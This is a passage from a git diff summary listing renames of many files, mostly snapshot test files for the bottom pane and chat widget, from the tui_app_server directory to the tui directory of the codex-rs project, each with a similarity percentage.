tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap (98%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/scroll_state.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/selection_popup_common.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/skill_popup.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/skills_toggle_view.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/slash_commands.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap (83%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__image_placeholder_single.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__large.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__multiple_pastes.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__plugin_mention_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_mo.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__slash_popup_res.snap (95%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__small.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_bug.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_good_result.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_other.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_render.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_active_agent_label.snap (88%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_context_tokens_used.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_idle.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_esc_hint_primed.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_mode_indicator_wide.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap (96%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_context_running.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_default.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_context.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap (88%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap (99%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap (95%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_many_line_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_one_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_two_messages.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__message_queue__tests__render_wrapped_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_many_line_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message.snap (100%) rename codex-rs/{tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap => tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_message_with_shift_left_binding.snap} (92%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap (100%) rename codex-rs/{tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap => tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap} (97%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_two_messages.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap (97%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap (98%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_and_queued_messages_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_hidden_when_height_too_small_height_1.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_only_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap (100%) rename codex-rs/{tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap => tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__title_setup__tests__terminal_title_setup_basic.snap} (96%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/snapshots/codex_tui__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap (81%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/status_line_setup.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/textarea.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/title_setup.rs (100%) rename codex-rs/{tui_app_server => tui}/src/bottom_pane/unified_exec_footer.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/interrupts.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/plugins.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/realtime.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/session_header.rs (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/skills.rs (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap} (70%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_collab_wait_items_render_history.snap} (80%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap} (86%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apply_patch_manual_flow_history_approved.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_exec_no_reason.snap (99%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approval_modal_patch.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap (96%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap.new => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup.snap.new} (94%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows.snap (97%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__approvals_selection_popup@windows_degraded.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apps_popup_loading_state.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap} (75%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__binary_size_ideal_response.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h1.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h2.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_idle_h3.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h1.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h2.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chat_small_running_h3.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap (77%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__chatwidget_tall.snap (87%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__compact_queues_user_messages_snapshot.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__compact_queues_user_messages_snapshot.snap} (85%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap (75%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap (91%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap (99%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap (71%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap (70%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap (75%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap (74%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap (74%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap (76%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap} (83%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap (75%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap} (84%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap (87%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap} (77%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap} (66%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap (87%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap (93%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap (93%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap (86%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap (100%) rename codex-rs/{tui_app_server => tui}/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap (100%) rename codex-rs/{tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap => tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap} (91%) rename 